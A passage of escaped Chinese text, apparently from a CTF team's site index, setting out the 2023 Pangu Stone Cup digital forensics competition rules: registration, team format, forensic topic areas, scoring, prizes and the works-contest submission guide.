\u7ec4\u59d4\u4f1a\u4e8e6\u670819\u65e5\u5b8c\u6210\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u8d44\u683c\u5ba1\u67e5\uff0c\u5e76\u516c\u5e03\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u53c2\u8d5b\u540d\u5355\u3002\u4e8e6\u670825\u65e5\u524d\uff0c\u5404\u9ad8\u6821\u8054\u7edc\u4eba\u987b\u6c47\u603b\u672c\u6821\u7684\u201c\u9ad8\u6821\u53c2\u8d5b\u961f\u6c47\u603b\u8868\u201d\uff08\u89c1\u9644\u4ef62\uff0c\u5728\u7ade\u8d5b\u7f51\u7ad9\u4e0a\u4e0b\u8f7d\uff09\uff0c\u901a\u8fc7\u7535\u5b50\u90ae\u4ef6\u53d1\u9001\u7ed9\u7ec4\u59d4\u4f1a\u79d8\u4e66\u5904\uff08\u542b\u7535\u5b50\u7248\u548c\u76d6\u7ae0\u7eb8\u8d28\u7248\u7684\u626b\u63cf\u4ef6\uff09\u3002\u53c2\u52a0\u672c\u6b21\u4fe1\u606f\u5b89\u5168\u4f5c\u54c1\u8d5b\u7684\u961f\u4f0d\u9700\u4ea4\u7eb3\u53c2\u8d5b\u8d39\u7528\uff08\u6bcf\u652f\u53c2\u8d5b\u961f200\u5143\uff09\u3002
We have some topics, if you are interesting, please join us.
\u4e00\u3001 \u53c2\u8d5b\u89c4\u5219
\uff08\u4e00\uff09\u62a5\u540d\u5f62\u5f0f
\u91c7\u7528\u56e2\u961f\u6574\u4f53\u62a5\u540d\u65b9\u5f0f\uff0c\u5728\u62a5\u540d\u89c4\u5b9a\u65f6\u95f4\u5185\u6309\u7167\u62a5\u540d\u8981\u6c42\u8fdb\u884c\u62a5\u540d\uff0c\u6bcf\u4e2a\u53c2\u8d5b\u56e2\u961f\u56fa\u5b9a\u961f\u5458\u4e09\u4e2a\u4eba\uff0c\u53ef\u4ee5\u62a5\u540d\u804c\u4e1a\u7ec4\u6216\u8005\u5b66\u751f\u7ec4\u3002\u53e6\u6bcf\u4e2a\u53c2\u8d5b\u961f\u53ef\u4ee5\u5199\u4e00\u540d\u6307\u5bfc\u6559\u5e08\uff08\u5b66\u751f\u7ec4\uff09\u6216\u9886\u961f\uff08\u804c\u4e1a\u7ec4\uff09\uff0c\u6bcf\u4e2a\u6307\u5bfc\u6559\u5e08\uff08\u9886\u961f\uff09\u53ef\u4ee5\u5e26\u9886\u591a\u652f\u961f\u4f0d\u3002\u4e0d\u5141\u8bb8\u8de8\u6821\u8de8\u5355\u4f4d\u7ec4\u961f\u3002
\uff08\u4e8c\uff09\u62a5\u540d\u65f6\u95f4
2023\u5e743\u670820-4\u670830\u65e5
\uff08\u4e09\uff09\u7ade\u8d5b\u65f6\u95f4
\u664b\u7ea7\u8d5b\uff1a2023\u5e745\u67086\u65e5 5\u5c0f\u65f6 \u7ebf\u4e0a
\u603b\u51b3\u8d5b\uff1a2023\u5e745\u670826\u65e5 6\u5c0f\u65f6 \u7ebf\u4e0b
\uff08\u56db\uff09\u62a5\u540d\u8981\u6c42
\u901a\u8fc7\u5927\u8d5b\u5b98\u7f51\u8fdb\u884c\u62a5\u540d\uff0c\u5982\u5b9e\u586b\u5199\u62a5\u540d\u4fe1\u606f\u3002
\uff08\u4e94\uff09\u62a5\u540d\u6761\u4ef6
\u5177\u6709\u7535\u5b50\u6570\u636e\u53d6\u8bc1\u76f8\u5173\u804c\u4e1a\u5de5\u4f5c\u7ecf\u5386\u7684\u4f01\u4e8b\u4e1a\u3001\u516c\u68c0\u6cd5\u5355\u4f4d\u5728\u804c\u4eba\u5458\uff0c\u4ece\u4e8b\u76f8\u5173\u4e13\u4e1a\u5de5\u4f5c\u7684\u9ad8\u7b49\u9662\u6821\u3001\u804c\u4e1a\u9662\u6821\uff08\u542b\u6280\u5de5\u9662\u6821\uff0c\u4e0b\u540c\uff09\u5728\u804c\u4eba\u5458\uff0c\u4ee5\u53ca\u9ad8\u7b49\u9662\u6821\u3001\u804c\u4e1a\u9662\u6821\u76f8\u5173\u4e13\u4e1a\u5168\u65e5\u5236\u5728\u7c4d\u5b66\u751f\u5747\u53ef\u62a5\u540d\u53c2\u8d5b\u3002
\u6ce8\uff1a\u5177\u6709\u5168\u65e5\u5236\u5b66\u7c4d\u7684\u5728\u6821\u5b66\u751f\u4e0d\u5f97\u4ee5\u804c\u5de5\u8eab\u4efd\u53c2\u8d5b\u3002
\u4e8c \u3001\u7ade\u8d5b\u6a21\u5f0f
\u672c\u8d5b\u9879\u4e3a\u4e09\u4eba\u56e2\u4f53\u8d5b\uff0c\u5206\u4e3a\u804c\u4e1a\u7ec4\u548c\u5b66\u751f\u7ec4\u4e24\u4e2a\u7ec4\u522b\uff0c\u4e24\u4e2a\u7ec4\u5355\u72ec\u8fdb\u884c\u8bc4\u6bd4\u3002
\u4e09 \u3001\u7ade\u8d5b\u7ec6\u5219
\uff08\u4e00\uff09\u7ade\u8d5b\u77e5\u8bc6\u8303\u56f4
PC\uff08win\u3001osx\uff09\u53d6\u8bc1\u5206\u6790\u3001Server\uff08win\u3001lin\uff09\u53d6\u8bc1\u5206\u6790\u3001\u79fb\u52a8\u7ec8\u7aef\uff08dd\u3001tar\u3001\u5907\u4efd\uff09\u53d6\u8bc1\u5206\u6790\u3001\u6d41\u91cf\u5206\u6790\uff08\u884c\u4e3a\u3001\u6587\u4ef6\u5206\u79bb\uff09\u3001\u7269\u8054\u7f51\uff08\u8def\u7531\u5668\u3001\u65e0\u4eba\u673a\uff09\u53d6\u8bc1\u5206\u6790\u3001\u5e94\u7528\u7a0b\u5e8f\u529f\u80fd\u5206\u6790\uff08\u52a8\u6001\u3001\u9759\u6001\uff09\u3001\u533a\u5757\u94fe\u53d6\u8bc1\u5206\u6790\u3001\u53ef\u89c6\u5316\u5206\u6790\u7b49\u3002
\uff08\u4e8c\uff09\u7ade\u8d5b\u9898\u76ee\u7c7b\u578b
\u7ade\u8d5b\u9898\u76ee\u4e3a\u5b9e\u9645\u64cd\u4f5c\u9898\uff0c\u7c7b\u578b\u6709\u9009\u62e9\u9898\u3001\u586b\u7a7a\u9898\u3002
\uff08\u4e09\uff09\u7ade\u8d5b\u65f6\u957f
\u664b\u7ea7\u8d5b\uff1a\u65f6\u957f5\u5c0f\u65f6\u3002
\u603b\u51b3\u8d5b\uff1a\u65f6\u957f6\u5c0f\u65f6\u3002
\uff08\u56db\uff09\u547d\u9898\u65b9\u5f0f
\u7531\u5927\u8d5b\u7ec4\u59d4\u4f1a\u7ec4\u7ec7\u4e13\u5bb6\u7ec4\u7edf\u4e00\u547d\u9898\u3002
\uff08\u4e94\uff09\u8003\u8bd5\u65b9\u5f0f
\u91c7\u7528\u5947\u5b89\u4fe1\u76d8\u53e4\u77f3\u53d6\u8bc1\u57f9\u8bad\u6bd4\u6b66\u5e73\u53f0\u3002
\u664b\u7ea7\u8d5b\uff1a\u7ebf\u4e0a\u65b9\u5f0f\u3002
\u603b\u51b3\u8d5b\uff1a\u7ebf\u4e0b\u65b9\u5f0f\u3002
\uff08\u516d\uff09\u664b\u7ea7\u89c4\u5219
1.\u5b66\u751f\u7ec4\u664b\u7ea760\u652f\u961f\u4f0d\u3001\u804c\u4e1a\u7ec4\u664b\u7ea730\u652f\u961f\u4f0d\u3002
2.\u5404\u9662\u6821\u3001\u5355\u4f4d\u664b\u7ea7\u8d5b\u53ef\u4ee5\u62a5\u540d\u591a\u652f\u961f\u4f0d\uff0c\u4f46\u4e0d\u8d85\u8fc72\u652f\u961f\u4f0d\u664b\u7ea7\u603b\u51b3\u8d5b\u3002
\u56db \u3001\u8bc4\u5206\u7ec6\u5219
\uff08\u4e00\uff09\u6210\u7ee9\u8ba1\u7b97
\u7ade\u8d5b\u4e3a\u5f97\u5206\u7d2f\u52a0\u5236\uff0c\u4e0d\u540c\u96be\u5ea6\u9898\u76ee\u5206\u503c\u4e0d\u540c\uff0c\u5206\u503c\u76f8\u540c\u4ee5\u7b54\u9898\u65f6\u95f4\u6392\u540d
\uff08\u4e8c\uff09\u8bc4\u5206\u6807\u51c6\u5236\u5b9a\u539f\u5219
\u672c\u7740\u201c\u79d1\u5b66\u4e25\u8c28\u3001\u7b03\u8fd1\u4e3e\u8fdc\u201d\u7684\u539f\u5219\u5236\u5b9a\u8bc4\u5206\u6807\u51c6\uff0c\u56f4\u7ed5\u6280\u80fd\u5927\u8d5b\u6280\u672f\u88c1\u5224\u7ec4\u5236\u5b9a\u7684\u8003\u6838\u6807\u51c6\uff0c\u4f9d\u636e\u53c2\u8d5b\u9009\u624b\u5b8c\u6210\u7684\u60c5\u51b5\u5b9e\u65bd\u7efc\u5408\u8bc4\u5b9a\uff0c\u5168\u9762\u8bc4\u4ef7\u53c2\u8d5b\u9009\u624b\u4e13\u4e1a\u80fd\u529b\u3002
\uff08\u4e09\uff09\u8bc4\u5206\u65b9\u6cd5
1.\u57fa\u672c\u8bc4\u5b9a\u65b9\u6cd5
\u88c1\u5224\u7ec4\u5728\u575a\u6301\u201c\u516c\u5e73\u3001\u516c\u6b63\u3001\u516c\u5f00\u3001\u79d1\u5b66\u3001\u89c4\u8303\u201d\u7684\u539f\u5219\u4e0b\uff0c\u5404\u8d1f\u5176\u8d23\uff0c\u6309\u7167\u5236\u8ba2\u7684\u8bc4\u5206\u7ec6\u5219\u8fdb\u884c\u8bc4\u5206\u3002
\u7ed3\u679c\u8bc4\u5206\uff1a\u6bd4\u8d5b\u7ed3\u675f\u540e\uff0c\u88c1\u5224\u7ec4\u6839\u636e\u53c2\u8d5b\u9009\u624b\u63d0\u4ea4\u7684\u6bd4\u8d5b\u7ed3\u679c\u8fdb\u884c\u6210\u7ee9\u590d\u6838\u3002
\u6210\u7ee9\u6c47\u603b\uff1a\u5b9e\u64cd\u6bd4\u8d5b\u6210\u7ee9\u7ecf\u8fc7\u52a0\u5bc6\u88c1\u5224\u7ec4\u89e3\u5bc6\u540e\u4e0e\u9009\u624b\u7406\u8bba\u6210\u7ee9\u8fdb\u884c\u52a0\u6743\u8ba1\u7b97\uff0c\u786e\u5b9a\u6700\u7ec8\u6bd4\u8d5b\u6210\u7ee9\uff0c\u7ecf\u603b\u88c1\u5224\u957f\u5ba1\u6838\u3001\u4ef2\u88c1\u7ec4\u957f\u590d\u6838\u540e\u7b7e\u5b57\u786e\u8ba4\u3002
2.\u540c\u5206\u5904\u7406
\u603b\u5206\u76f8\u540c\u65f6\uff0c\u4ee5\u5b8c\u6210\u5b9e\u64cd\u6240\u7528\u65f6\u95f4\u5c11\u7684\u540d\u6b21\u5728\u524d\u3002
\u4e94 \u3001\u7ade\u8d5b\u5e73\u53f0
\u6bd4\u6b66\u5e73\u53f0\u5730\u5740\uff1a\u5f85\u516c\u5e03
\u516d \u3001\u5956\u9879\u8bbe\u7f6e
\u804c\u4e1a\u7ec4\uff1a
\u4e00\u7b49\u5956\uff1a1-5\u540d \uff08\u7b2c1\u540d20000\u5143\u3001\u7b2c2-5\u540d10000\u5143\uff09\uff0c\u5956\u676f\u3001\u83b7\u5956\u8bc1\u4e66
\u4e8c\u7b49\u5956\uff1a6-15\u540d \u83b7\u5956\u8bc1\u4e66
\u4e09\u7b49\u5956\uff1a16-30\u540d \u83b7\u5956\u8bc1\u4e66
\u5b66\u751f\u7ec4\uff1a
\u4e00\u7b49\u5956\uff1a1-5\u540d \uff08\u7b2c1\u540d20000\u5143\u3001\u7b2c2-5\u540d10000\u5143\uff09\uff0c\u5956\u676f\u3001\u83b7\u5956\u8bc1\u4e66
\u4e8c\u7b49\u5956\uff1a6-15\u540d \u83b7\u5956\u8bc1\u4e66
\u4e09\u7b49\u5956\uff1a16-30\u540d \u83b7\u5956\u8bc1\u4e66
\u4f18\u79c0\u5956\uff1a31-60\u540d \u83b7\u5956\u8bc1\u4e66
\u9664\u6b64\u4e4b\u5916\uff0c\u5c06\u8bc4\u9009\u4f18\u79c0\u6307\u5bfc\u6559\u5e08\uff08\u9886\u961f\uff09\u517110\u540d\uff1a5000\u5143\u5956\u91d1\u3001\u5956\u676f\u3001\u83b7\u5956\u8bc1\u4e66
\u4f18\u79c0\u6307\u5bfc\u6559\u5e08\uff08\u9886\u961f\uff09\u8bc4\u9009\u89c4\u5219\u91c7\u7528\u79ef\u5206\u5236\u5ea6\uff0c\u6240\u5e26\u961f\u4f0d\u83b7\u5f97\u4e09\u7b49\u5956\u8ba11\u5206\u3001\u4e8c\u7b49\u5956\u8ba12\u5206\u3001\u4e00\u7b49\u5956\u8ba13\u5206\u3001\u7279\u7b49\u5956\u8ba14\u5206\u3002\u603b\u5206\u6570\u524d10\u540d\u7684\u6307\u5bfc\u6559\u5e08\u53ca\u9886\u961f\u83b7\u5f97\u8be5\u5956\u9879\u3002
\u4e03\u3001 \u8054\u7edc\u4fe1\u606f
1\u3001\u8054\u7cfb\u4eba\uff1a\u5947\u5b89\u4fe195015
2\u3001\u5b98\u65b9\u516c\u4f17\u53f7\uff1a
3\u3001\u5b98\u65b9QQ\u7fa4\uff1a
\u9996\u5c4a\u76d8\u53e4\u77f3\u676f\u53d6\u8bc1\u8d5b\u4ea4\u6d41\u2460\u7fa4\uff1a731605363\uff08\u5df2\u6ee1\uff09
\u9996\u5c4a\u76d8\u53e4\u77f3\u676f\u53d6\u8bc1\u8d5b\u4ea4\u6d41\u2461\u7fa4\uff1a748211652\uff08\u63a8\u8350\uff09
\u9996\u5c4a\u76d8\u53e4\u77f3\u676f\u53d6\u8bc1\u8d5b\u4ea4\u6d41\u2462\u7fa4\uff1a748676470\uff08\u63a8\u8350\uff09
\u9996\u5c4a\u76d8\u53e4\u77f3\u676f\u53d6\u8bc1\u8d5b\u4ea4\u6d41\u2463\u7fa4\uff1a753358988\uff08\u63a8\u8350\uff09
\u5907\u6ce8:\u540e\u7eed\u518d\u5f00\u7fa4\u5c06\u53e6\u884c\u901a\u77e5\u3002
\u516b \u3001\u5176\u4ed6
\u672c\u53c2\u8d5b\u4ecb\u7ecd\u7684\u6700\u7ec8\u89e3\u91ca\u6743\u5f52\u7ade\u8d5b\u7ec4\u59d4\u4f1a\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-04-27/#_2","title":"\u201c\u76d8\u53e4\u77f3\u676f\u201d\u5168\u56fd\u7535\u5b50\u6570\u636e\u53d6\u8bc1\u5927\u8d5b \u2014 \u6570\u5b57\u53d6\u8bc1\u4f5c\u54c1\u8d5b","text":"\u4e3a\u4e86\u57f9\u517b\u3001\u9009\u62d4\u3001\u63a8\u8350\u6570\u5b57\u53d6\u8bc1\u9886\u57df\u79d1\u7814\u4e0e\u5de5\u7a0b\u80fd\u529b\u517c\u5907\u7684\u4e00\u6d41\u4eba\u624d\uff0c\u63d0\u9ad8\u53c2\u8d5b\u4eba\u5458\u7684\u521b\u65b0\u610f\u8bc6\u3001\u56e2\u961f\u5408\u4f5c\u7cbe\u795e\u3001\u53d6\u8bc1\u6280\u672f\u7814\u53d1\u6c34\u5e73\u4ee5\u53ca\u521b\u65b0\u5b9e\u8df5\u4e0e\u7efc\u5408\u8bbe\u8ba1\u80fd\u529b\uff0c\u63a8\u52a8\u6570\u636e\u53d6\u8bc1\u524d\u6cbf\u7814\u7a76\u4e0e\u5e94\u7528\u6280\u672f\u84ec\u52c3\u53d1\u5c55\u3002\u201c\u76d8\u53e4\u77f3\u676f\u201d\u5168\u56fd\u7535\u5b50\u6570\u636e\u53d6\u8bc1\u5927\u8d5b\u62df\u9762\u5411\u5b66\u672f\u754c\u3001\u4ea7\u4e1a\u754c\u4ee5\u53ca\u653f\u4f01\u90e8\u95e8\uff0c\u5f00\u8bbe\u6570\u5b57\u53d6\u8bc1\u4f5c\u54c1\u8d5b\u8d5b\u9053\uff0c\u4e3a\u76f8\u5173\u4ece\u4e1a\u4eba\u5458\u63d0\u4f9b\u7ade\u6280\u548c\u5c55\u793a\u7684\u5e73\u53f0\u3002
\u672c\u6307\u5357\u4e3a\u53c2\u8d5b\u4eba\u5458\u548c\u6307\u5bfc\u6559\u5e08\u5982\u4f55\u53c2\u4e0e\u672c\u6b21\u5927\u8d5b\u4f5c\u54c1\u8d5b\u63d0\u4f9b\u5177\u4f53\u6307\u5bfc\u3002
\u4e00\u3001\u53c2\u8d5b\u53ca\u62a5\u540d
\u62a5\u540d\u622a\u6b62\u65e5\u671f\u4e4b\u524d\u7684\u5728\u6821\u7814\u7a76\u751f\u3001\u672c\u79d1\u751f\u3001\u4e13\u79d1\u751f\u3001\u4f01\u4e1a\u6210\u5458\u5747\u53ef\u62a5\u540d\u53c2\u8d5b\uff0c\u8bc4\u9009\u4e0d\u5206\u7c7b\u522b\u3001\u7edf\u4e00\u8bc4\u6bd4\u3002\u9f13\u52b1\u4f5c\u54c1\u4ee5\u5b9e\u9645\u5e94\u7528\u4e3a\u5bfc\u5411\uff0c\u5f00\u5c55\u524d\u6cbf\u7814\u7a76\u3002
\u672c\u8d5b\u9879\u91c7\u7528\u7ec4\u961f\u65b9\u5f0f\u53c2\u8d5b\uff0c\u6bcf\u652f\u53c2\u8d5b\u961f\u6210\u5458\u4e0d\u8d85\u8fc74\u540d\uff08\u5305\u62ec1\u540d\u7ec4\u957f\uff09\u3001\u6307\u5bfc\u6559\u5e08\u4e0d\u8d85\u8fc72\u540d\u3001\u53c2\u8d5b\u5355\u4f4d\u4e0d\u8d85\u8fc72\u4e2a\u3002
\u200b \u6ce8\uff1a\u9f13\u52b1\u8de8\u5355\u4f4d\u3001\u6821\u4f01\u8054\u5408\u7ec4\u961f\u7533\u62a5\uff0c\u53c2\u8d5b\u6210\u5458\u6700\u591a\u6765\u81ea\u4e8e2\u5bb6\u5355\u4f4d\u3002
\u6ce8\u518c\uff1a\u5404\u53c2\u8d5b\u961f\u4f0d\u6210\u5458\u53ef\u4ee5\u901a\u8fc7\u7ade\u8d5b\u7f51\u7ad9\u8fdb\u884c\u6ce8\u518c\uff08\u8be6\u7ec6\u53c2\u8d5b\u6b65\u9aa4\u89c1\u7f51\u7ad9\uff09
\u62a5\u540d\u622a\u6b62\u65f6\u95f4\uff1a2023.4.30
\u53c2\u8d5b\u4f5c\u54c1\u4e0a\u4f20\u65f6\u95f4\uff1a2023.5.1\u20142023.5.5
\u51b3\u8d5b\u540d\u5355\u516c\u5e03\u65e5\u671f\uff1a2023.5.15
\u51b3\u8d5b\u65f6\u95f4\uff1a2023.5.26
\u4e8c\u3001\u8d5b\u5236\u8bbe\u7f6e
\u672c\u4f5c\u54c1\u8d5b\u8d5b\u9053\u91c7\u7528\u5f00\u653e\u5f0f\u81ea\u4e3b\u547d\u9898\u65b9\u5f0f\u3002\u7ade\u8d5b\u5206\u4e3a\u521d\u8d5b\u548c\u51b3\u8d5b\uff0c\u521d\u8d5b\u7ebf\u4e0a\u63d0\u4ea4\u4f5c\u54c1\uff0c\u7531\u7ec4\u59d4\u4f1a\u7ec4\u7ec7\u4e13\u5bb6\u7ebf\u4e0a\u8bc4\u5ba1\uff0c\u51b3\u8d5b\u91c7\u7528\u73b0\u573a\u7b54\u8fa9\u7684\u5f62\u5f0f\uff0c\u5c06\u4e8e5.26-28\u65e5\u5728\u5357\u4eac\u7ebf\u4e0b\u4e3e\u884c\u3002
\u51e1\u6210\u529f\u62a5\u540d\u7684\u53c2\u8d5b\u961f\u5747\u81ea\u52a8\u8fdb\u5165\u521d\u8d5b\uff0c\u62a5\u540d\u622a\u6b62\u65f6\u95f4\u4e3a2023\u5e744\u670830\u65e5\uff0c\u521d\u8d5b\u4f5c\u54c1\u63d0\u4ea4\u65f6\u95f4\u622a\u6b62\u4e3a2023\u5e745\u67085\u65e5\uff0c\u5404\u53c2\u8d5b\u961f\u5e94\u5728\u6b64\u65f6\u95f4\u4e4b\u524d\u5b8c\u6210\u4f5c\u54c1\u5e76\u7f51\u4e0a\u63d0\u4ea4\uff0c\u7531\u4e13\u5bb6\u8fdb\u884c\u8bc4\u5ba1\u3002
\uff081\uff09\u83b7\u5f97\u51b3\u8d5b\u8d44\u683c\u540e\uff0c\u5404\u53c2\u8d5b\u961f\u53ef\u7ee7\u7eed\u5bf9\u53c2\u8d5b\u4f5c\u54c1\u8fdb\u884c\u5b8c\u5584\u548c\u4fee\u6539\uff0c\u4f46\u4fee\u6539\u4e0d\u80fd\u8d85\u8fc7\u4f5c\u54c1\u603b\u5185\u5bb9\u768430%\uff0c\u6838\u5fc3\u601d\u60f3\u3001\u4e3b\u8981\u529f\u80fd\u9700\u4fdd\u6301\u4e0d\u53d8\u3002
\uff082\uff09\u83b7\u5f97\u51b3\u8d5b\u8d44\u683c\u7684\u53c2\u8d5b\u961f\u4f0d\u5e94\u5728\u89c4\u5b9a\u65f6\u95f4\u5185\u53c2\u52a0\u51b3\u8d5b\u4f5c\u54c1\u6f14\u793a\u53ca\u7b54\u8fa9\u3002
\uff083\uff09\u51b3\u8d5b\u4f5c\u54c1\u6f14\u793a\u53ca\u7b54\u8fa9\u3002\u4f5c\u54c1PPT\u4ecb\u7ecd\uff088\u5206\u949f\uff09\u3001\u4f5c\u54c1\u6f14\u793a\u4e0e\u4e13\u5bb6\u63d0\u95ee\uff0812\u5206\u949f\uff09\u3002
\uff084\uff09\u5404\u53c2\u8d5b\u961f\u5e94\u81ea\u884c\u643a\u5e26\u4f5c\u54c1\u53ca\u76f8\u5173\u6587\u6863\uff0c\u5230\u51b3\u8d5b\u5730\u70b9\u8fdb\u884c\u6f14\u793a\u3001\u7b54\u8fa9\u3002
\u521d\u8d5b\u8bc4\u5ba1\uff1a\u7ec4\u59d4\u4f1a\u7ec4\u7ec7\u4e13\u5bb6\u5bf9\u4f5c\u54c1\u8fdb\u884c\u7ebf\u4e0a\u8bc4\u5ba1\uff0c\u8bc4\u5ba1\u91c7\u7528\u53cc\u76f2\u533f\u540d\u65b9\u5f0f\uff0c\u6bcf\u4e00\u4ef6\u4f5c\u54c1\u5c06\u81f3\u5c11\u75313\u4f4d\u4e13\u5bb6\u8fdb\u884c\u8bc4\u5ba1\u3002\u4e13\u5bb6\u8bc4\u5ba1\u7684\u4e3b\u8981\u5185\u5bb9\u5305\u62ec\uff1a\u4f5c\u54c1\u7684\u539f\u521b\u6027\u4e0e\u521b\u65b0\u6027\u3001\u4f5c\u54c1\u5b8c\u6210\u7a0b\u5ea6\u3001\u4f5c\u54c1\u7684\u6027\u80fd\u3001\u4f5c\u54c1\u7684\u5e94\u7528\u4ef7\u503c\u3001\u76f8\u5173\u6587\u6863\u7684\u89c4\u8303\u6027\u7b49\u3002\u4f9d\u636e\u7f51\u7edc\u8bc4\u5ba1\u7ed3\u679c\uff0c\u6392\u540d\u524d50\u7684\u53c2\u8d5b\u961f\u4f0d\u8fdb\u5165\u51b3\u8d5b\u3002
\u51b3\u8d5b\u8bc4\u5ba1\uff1a\u7ec4\u59d4\u4f1a\u7ec4\u7ec7\u8bc4\u5ba1\u4e13\u5bb6\u5bf9\u6bcf\u4e2a\u7ade\u8d5b\u4f5c\u54c1\u8fdb\u884c\u73b0\u573a\u8bc4\u5ba1\u3002\u8bc4\u5ba1\u5b9e\u884c\u5206\u9879\u6253\u5206\uff0c\u96c6\u4f53\u8ba8\u8bba\uff0c\u6700\u7ec8\u786e\u5b9a\u53c2\u8d5b\u4f5c\u54c1\u7684\u83b7\u5956\u7b49\u7ea7\u3002\u4e13\u5bb6\u8bc4\u5ba1\u7684\u4e3b\u8981\u5185\u5bb9\u5305\u62ec\uff1a\u4f5c\u54c1\u7684\u539f\u521b\u6027\u4e0e\u521b\u65b0\u6027\u3001\u4f5c\u54c1\u7684\u6027\u80fd\u53ca\u5e94\u7528\u4ef7\u503c\u3001\u7b54\u8fa9\u6548\u679c\u3001\u6f14\u793a\u6548\u679c\u7b49\u3002
\u4e09\u3001\u4f5c\u54c1\u8981\u6c42
\u53c2\u8d5b\u4f5c\u54c1\u8981\u4f53\u73b0\u4e00\u5b9a\u7684\u521b\u65b0\u6027\u548c\u5b9e\u7528\u6027\u3002
\u53c2\u8d5b\u4f5c\u54c1\u53ef\u4ee5\u662f\u8f6f\u4ef6\u3001\u786c\u4ef6\u7b49\u3002\u53c2\u8d5b\u4f5c\u54c1\u7684\u5185\u5bb9\u4ee5\u6570\u5b57\u53d6\u8bc1\u6280\u672f\u4e0e\u5e94\u7528\u8bbe\u8ba1\u4e3a\u4e3b\uff0c\u8303\u56f4\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a\u7cfb\u7edf\u53d6\u8bc1\u3001\u7f51\u7edc\u5b89\u5168\u53d6\u8bc1\u3001\u5185\u5bb9\u53d6\u8bc1\u3001\u7269\u8054\u7f51\u53ca\u8bbe\u5907\u53d6\u8bc1\u3001\u65b0\u578b\u7535\u5b50\u6570\u636e\u53d6\u8bc1\u7b49\u65b0\u6280\u672f\u53ca\u65b0\u9886\u57df\u53d6\u8bc1\u3002
\u4f5c\u54c1\u53ef\u9009\u65b9\u5411\uff1a\u6570\u5b57\u6c34\u5370\u3001\u5185\u5b58\u53d6\u8bc1\u3001\u8bbe\u5907\u53d6\u8bc1\u3001\u786c\u4ef6\u53d6\u8bc1\u3001\u7269\u8054\u7f51\u53d6\u8bc1\u3001\u64cd\u4f5c\u7cfb\u7edf\u53d6\u8bc1\u3001\u4e91\u53d6\u8bc1\u3001\u97f3\u9891\u53d6\u8bc1\u3001\u89c6\u9891\u53d6\u8bc1\u3001\u56fe\u50cf\u53d6\u8bc1\u3001\u6587\u672c\u53d6\u8bc1\u3001\u53cd\u53d6\u8bc1\u3001\u6570\u636e\u590d\u5236\u3001\u52a0\u5bc6\u53ca\u89e3\u5bc6\u3001\u9690\u85cf\u53ca\u68c0\u6d4b\u3001\u6570\u636e\u590d\u539f\u3001\u6570\u636e\u622a\u53d6\u3001\u6570\u636e\u6b3a\u9a97\u3001\u6570\u5b57\u7b7e\u540d\u53ca\u65f6\u95f4\u6233\u3001\u6570\u636e\u626b\u63cf\u3001\u8ffd\u8e2a\u53ca\u6eaf\u6e90\u3001AI\u53d6\u8bc1\u3001\u533a\u5757\u94fe\u53d6\u8bc1\u3001\u573a\u666f\u53d6\u8bc1\u3001\u6076\u610f\u8f6f\u4ef6\u68c0\u6d4b\u3001AI\u6a21\u578b\u6c34\u5370\u3001\u6df1\u5ea6\u4f2a\u9020\u53d6\u8bc1\u3001\u5176\u4ed6\u3002
\u6240\u6709\u53c2\u8d5b\u9898\u76ee\u987b\u5f97\u5230\u7ec4\u59d4\u4f1a\u8ba4\u53ef\u540e\u65b9\u53ef\u53c2\u8d5b\u3002\u5982\u679c\u53c2\u8d5b\u961f\u4f0d\u6240\u62a5\u9898\u76ee\u53ca\u5185\u5bb9\u6d89\u53ca\u8fdd\u53cd\u8d5b\u4e8b\u7cbe\u795e\u548c\u7ae0\u7a0b\uff0c\u7ec4\u59d4\u4f1a\u6709\u6743\u8981\u6c42\u53c2\u8d5b\u961f\u4f0d\u8fdb\u884c\u4fee\u6539\u3002\u672c\u8d5b\u4e8b\u4e0d\u63a5\u53d7\u4efb\u4f55\u4e0e\u56fd\u5bb6\u6709\u5173\u6cd5\u5f8b\u3001\u6cd5\u89c4\u76f8\u8fdd\u80cc\u7684\u9898\u76ee\u3002
\u53c2\u8d5b\u4f5c\u54c1\u5e94\u8be5\u662f\u53c2\u8d5b\u961f\u72ec\u7acb\u8bbe\u8ba1\u3001\u5f00\u53d1\u5b8c\u6210\u7684\u539f\u521b\u6027\u4f5c\u54c1\uff0c\u4e25\u7981\u6284\u88ad\u3001\u527d\u7a83\u3001\u4e00\u7a3f\u591a\u6295\u7b49\u884c\u4e3a\u3002\u51e1\u53d1\u73b0\u6b64\u7c7b\u884c\u4e3a\uff0c\u5c06\u53d6\u6d88\u53c2\u8d5b\u961f\u4f0d\u7684\u53c2\u8d5b\u8d44\u683c\uff0c\u5e76\u4fdd\u7559\u8ffd\u7a76\u76f8\u5173\u6307\u5bfc\u6559\u5e08\u53ca\u5355\u4f4d\u8d23\u4efb\u7684\u6743\u5229\u3002
\u51e1\u5df2\u516c\u5f00\u53d1\u5e03\u5e76\u5df2\u83b7\u5f97\u5546\u4e1a\u4ef7\u503c\u7684\u4ea7\u54c1\u4e0d\u5f97\u53c2\u8d5b\uff1b\u51e1\u6709\u77e5\u8bc6\u4ea7\u6743\u7ea0\u7eb7\u7684\u4f5c\u54c1\u4e0d\u5f97\u53c2\u8d5b\uff1b\u4e0e\u4f01\u4e1a\u5408\u4f5c\u5373\u5c06\u5bf9\u5916\u53d1\u5e03\u7684\u4ea7\u54c1\u4e0d\u5f97\u53c2\u8d5b\u3002
\u4f5c\u54c1\u76f8\u5173\u6587\u6863\u81f3\u5c11\u5305\u62ec\u5982\u4e0b\u5185\u5bb9\uff1a
\uff081\uff09\u4f5c\u54c1\u8bbe\u8ba1\u62a5\u544a\uff1a\u529f\u80fd\u3001\u6307\u6807\u3001\u5b9e\u73b0\u539f\u7406\u3001\u786c\u4ef6\u6846\u56fe\u3001\u8f6f\u4ef6\u6d41\u7a0b\u3001\u7cfb\u7edf\u6f14\u793a\u622a\u56fe\u7b49\uff1b
\u4e0b\u8f7d\u4f5c\u54c1\u8bbe\u8ba1\u62a5\u544a\u6a21\u677f \u63d0\u53d6\u7801: i87b
\uff082\uff09\u6f14\u793a\u89c6\u9891\uff08mp3\u7b49\uff09\uff1a\u4e0d\u8d85\u8fc75\u5206\u949f\u7684\u6f14\u793a\u89c6\u9891\uff08\u914d\u76f8\u5173\u8bb2\u89e3\u8bed\u97f3\u7b49\uff09\uff1b
